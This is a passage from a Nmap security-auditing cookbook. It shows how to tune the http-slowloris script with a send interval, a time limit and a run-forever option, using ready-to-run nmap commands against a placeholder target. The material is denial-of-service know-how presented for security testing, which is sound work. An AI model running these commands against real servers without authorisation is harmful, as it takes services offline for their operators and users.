Nmap: Network Exploration and Security Auditing Cookbook - Second Edition

There's more...

To set the time between each HTTP header, use the script argument http-slowloris.send_interval:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.send_interval=200 --max-parallelism 300 <target>  

To run the slowloris attack for a certain period of time, use the script argument http-slowloris.timelimit, as shown in the following command:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.timelimit=15m <target>  

Alternately, there is an argument that can be used to tell Nmap to attack the target indefinitely, as shown in the following command:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.runforever <target>  

There is another NSE script to check for vulnerable web servers named ...